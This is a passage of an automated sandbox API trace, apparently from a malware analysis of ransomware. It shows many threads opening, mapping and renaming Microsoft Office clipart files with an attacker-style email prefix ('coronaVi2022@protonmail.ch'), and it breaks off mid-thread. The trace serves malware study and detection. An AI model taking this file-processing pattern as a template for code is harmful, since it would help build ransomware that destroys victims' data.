	[0092.798] _alloca_probe () returned 0x40328a
	[0092.799] GetCurrentThreadId () returned 0x16f0
	[0092.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif", dwFileAttributes=0x80) returned 1
	[0092.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00157_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0
	[0092.799] GetFileSizeEx (in: hFile=0x8c0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4965) returned 1
	[0092.799] CreateFileMappingA (hFile=0x8c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1369, lpName=0x0) returned 0x8d8
	[0092.800] MapViewOfFile (hFileMappingObject=0x8d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.801] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.801] CloseHandle (hObject=0x8d8) returned 1
	[0092.801] GetCurrentThreadId () returned 0x16f0
	[0092.801] FlushFileBuffers (hFile=0x8c0) returned 1
	[0092.803] CloseHandle (hObject=0x8c0) returned 1
	[0092.803] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 126
	[0092.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif")) returned 1
	[0092.804] free (_Block=0x51f3088) 
	[0092.804] RtlExitUserThread (Status=0x0) 

Thread:
	id = 411
	os_tid = 0x16f4

	[0092.805] _alloca_probe () returned 0x40328a
	[0092.806] GetCurrentThreadId () returned 0x16f4
	[0092.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif", dwFileAttributes=0x80) returned 1
	[0092.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00158_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8
	[0092.806] GetFileSizeEx (in: hFile=0x8d8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5035) returned 1
	[0092.806] CreateFileMappingA (hFile=0x8d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b5, lpName=0x0) returned 0x878
	[0092.806] MapViewOfFile (hFileMappingObject=0x878, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.808] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.808] CloseHandle (hObject=0x878) returned 1
	[0092.808] GetCurrentThreadId () returned 0x16f4
	[0092.808] FlushFileBuffers (hFile=0x8d8) returned 1
	[0092.810] CloseHandle (hObject=0x8d8) returned 1
	[0092.810] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 126
	[0092.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif")) returned 1
	[0092.811] free (_Block=0x51f0070) 
	[0092.811] RtlExitUserThread (Status=0x0) 

Thread:
	id = 412
	os_tid = 0x16f8

	[0092.813] _alloca_probe () returned 0x40328a
	[0092.813] GetCurrentThreadId () returned 0x16f8
	[0092.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif", dwFileAttributes=0x80) returned 1
	[0092.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00160_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878
	[0092.813] GetFileSizeEx (in: hFile=0x878, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1155) returned 1
	[0092.814] CreateFileMappingA (hFile=0x878, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x485, lpName=0x0) returned 0x89c
	[0092.814] MapViewOfFile (hFileMappingObject=0x89c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.815] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.815] CloseHandle (hObject=0x89c) returned 1
	[0092.815] GetCurrentThreadId () returned 0x16f8
	[0092.815] FlushFileBuffers (hFile=0x878) returned 1
	[0092.816] CloseHandle (hObject=0x878) returned 1
	[0092.816] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 126
	[0092.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif")) returned 1
	[0092.817] free (_Block=0x51f0070) 
	[0092.817] RtlExitUserThread (Status=0x0) 

Thread:
	id = 413
	os_tid = 0x16fc

	[0092.819] _alloca_probe () returned 0x40328a
	[0092.819] GetCurrentThreadId () returned 0x16fc
	[0092.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif", dwFileAttributes=0x80) returned 1
	[0092.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00161_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c
	[0092.820] GetFileSizeEx (in: hFile=0x89c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7597) returned 1
	[0092.820] CreateFileMappingA (hFile=0x89c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1db9, lpName=0x0) returned 0x86c
	[0092.820] MapViewOfFile (hFileMappingObject=0x86c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.822] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.823] CloseHandle (hObject=0x86c) returned 1
	[0092.823] GetCurrentThreadId () returned 0x16fc
	[0092.823] FlushFileBuffers (hFile=0x89c) returned 1
	[0092.825] CloseHandle (hObject=0x89c) returned 1
	[0092.826] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 126
	[0092.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif")) returned 1
	[0092.826] free (_Block=0x51f5098) 
	[0092.826] RtlExitUserThread (Status=0x0) 

Thread:
	id = 414
	os_tid = 0x1700

	[0092.828] _alloca_probe () returned 0x40328a
	[0092.828] GetCurrentThreadId () returned 0x1700
	[0092.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif", dwFileAttributes=0x80) returned 1
	[0092.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00163_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0092.829] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6991) returned 1
	[0092.829] CreateFileMappingA (hFile=0x86c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b5d, lpName=0x0) returned 0x830
	[0092.829] MapViewOfFile (hFileMappingObject=0x830, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.831] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.831] CloseHandle (hObject=0x830) returned 1
	[0092.831] GetCurrentThreadId () returned 0x1700
	[0092.831] FlushFileBuffers (hFile=0x86c) returned 1
	[0092.833] CloseHandle (hObject=0x86c) returned 1
	[0092.833] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 126
	[0092.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif")) returned 1
	[0092.834] free (_Block=0x51f60a0) 
	[0092.834] RtlExitUserThread (Status=0x0) 

Thread:
	id = 415
	os_tid = 0x1704

	[0092.846] _alloca_probe () returned 0x40328a
	[0092.847] GetCurrentThreadId () returned 0x1704
	[0092.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif", dwFileAttributes=0x80) returned 1
	[0092.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00164_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830
	[0092.847] GetFileSizeEx (in: hFile=0x830, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13259) returned 1
	[0092.847] CreateFileMappingA (hFile=0x830, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33d5, lpName=0x0) returned 0x928
	[0092.847] MapViewOfFile (hFileMappingObject=0x928, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.850] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.851] CloseHandle (hObject=0x928) returned 1
	[0092.851] GetCurrentThreadId () returned 0x1704
	[0092.851] FlushFileBuffers (hFile=0x830) returned 1
	[0092.852] CloseHandle (hObject=0x830) returned 1
	[0092.853] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 126
	[0092.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif")) returned 1
	[0092.853] free (_Block=0x51f5098) 
	[0092.853] RtlExitUserThread (Status=0x0) 

Thread:
	id = 416
	os_tid = 0x1708

	[0092.856] _alloca_probe () returned 0x40328a
	[0092.857] GetCurrentThreadId () returned 0x1708
	[0092.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif", dwFileAttributes=0x80) returned 1
	[0092.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00165_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928
	[0092.857] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8587) returned 1
	[0092.857] CreateFileMappingA (hFile=0x928, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2195, lpName=0x0) returned 0x868
	[0092.857] MapViewOfFile (hFileMappingObject=0x868, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.859] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.859] CloseHandle (hObject=0x868) returned 1
	[0092.860] GetCurrentThreadId () returned 0x1708
	[0092.860] FlushFileBuffers (hFile=0x928) returned 1
	[0092.862] CloseHandle (hObject=0x928) returned 1
	[0092.862] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 126
	[0092.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif")) returned 1
	[0092.863] free (_Block=0x51f3088) 
	[0092.863] RtlExitUserThread (Status=0x0) 

Thread:
	id = 417
	os_tid = 0x170c

	[0092.865] _alloca_probe () returned 0x40328a
	[0092.866] GetCurrentThreadId () returned 0x170c
	[0092.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif", dwFileAttributes=0x80) returned 1
	[0092.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00167_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868
	[0092.866] GetFileSizeEx (in: hFile=0x868, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4907) returned 1
	[0092.866] CreateFileMappingA (hFile=0x868, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1335, lpName=0x0) returned 0x7e4
	[0092.866] MapViewOfFile (hFileMappingObject=0x7e4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.868] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.868] CloseHandle (hObject=0x7e4) returned 1
	[0092.868] GetCurrentThreadId () returned 0x170c
	[0092.868] FlushFileBuffers (hFile=0x868) returned 1
	[0092.870] CloseHandle (hObject=0x868) returned 1
	[0092.870] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 126
	[0092.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif")) returned 1
	[0092.871] free (_Block=0x51f3088) 
	[0092.871] RtlExitUserThread (Status=0x0) 

Thread:
	id = 418
	os_tid = 0x1710

	[0092.872] _alloca_probe () returned 0x40328a
	[0092.873] GetCurrentThreadId () returned 0x1710
	[0092.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif", dwFileAttributes=0x80) returned 1
	[0092.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00169_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4
	[0092.873] GetFileSizeEx (in: hFile=0x7e4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5389) returned 1
	[0092.873] CreateFileMappingA (hFile=0x7e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1519, lpName=0x0) returned 0x8a4
	[0092.873] MapViewOfFile (hFileMappingObject=0x8a4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.875] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.875] CloseHandle (hObject=0x8a4) returned 1
	[0092.875] GetCurrentThreadId () returned 0x1710
	[0092.875] FlushFileBuffers (hFile=0x7e4) returned 1
	[0092.877] CloseHandle (hObject=0x7e4) returned 1
	[0092.877] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 126
	[0092.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif")) returned 1
	[0092.878] free (_Block=0x51f5098) 
	[0092.878] RtlExitUserThread (Status=0x0) 

Thread:
	id = 419
	os_tid = 0x1714

	[0092.879] _alloca_probe () returned 0x40328a
	[0092.880] GetCurrentThreadId () returned 0x1714
	[0092.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif", dwFileAttributes=0x80) returned 1
	[0092.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00170_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4
	[0092.880] GetFileSizeEx (in: hFile=0x8a4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9248) returned 1
	[0092.880] CreateFileMappingA (hFile=0x8a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0x948
	[0092.880] MapViewOfFile (hFileMappingObject=0x948, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.882] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.882] CloseHandle (hObject=0x948) returned 1
	[0092.882] GetCurrentThreadId () returned 0x1714
	[0092.882] FlushFileBuffers (hFile=0x8a4) returned 1
	[0092.884] CloseHandle (hObject=0x8a4) returned 1
	[0092.885] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 126
	[0092.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif")) returned 1
	[0092.885] free (_Block=0x51f3088) 
	[0092.885] RtlExitUserThread (Status=0x0) 

Thread:
	id = 420
	os_tid = 0x1718

	[0092.887] _alloca_probe () returned 0x40328a
	[0092.887] GetCurrentThreadId () returned 0x1718
	[0092.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif", dwFileAttributes=0x80) returned 1
	[0092.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00171_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948
	[0092.888] GetFileSizeEx (in: hFile=0x948, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5023) returned 1
	[0092.888] CreateFileMappingA (hFile=0x948, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13ad, lpName=0x0) returned 0x8f4
	[0092.888] MapViewOfFile (hFileMappingObject=0x8f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.889] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.890] CloseHandle (hObject=0x8f4) returned 1
	[0092.890] GetCurrentThreadId () returned 0x1718
	[0092.890] FlushFileBuffers (hFile=0x948) returned 1
	[0092.894] CloseHandle (hObject=0x948) returned 1
	[0092.894] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 126
	[0092.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif")) returned 1
	[0092.895] free (_Block=0x51f0070) 
	[0092.895] RtlExitUserThread (Status=0x0) 

Thread:
	id = 421
	os_tid = 0x171c

	[0092.896] _alloca_probe () returned 0x40328a
	[0092.896] GetCurrentThreadId () returned 0x171c
	[0092.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif", dwFileAttributes=0x80) returned 1
	[0092.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00172_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948
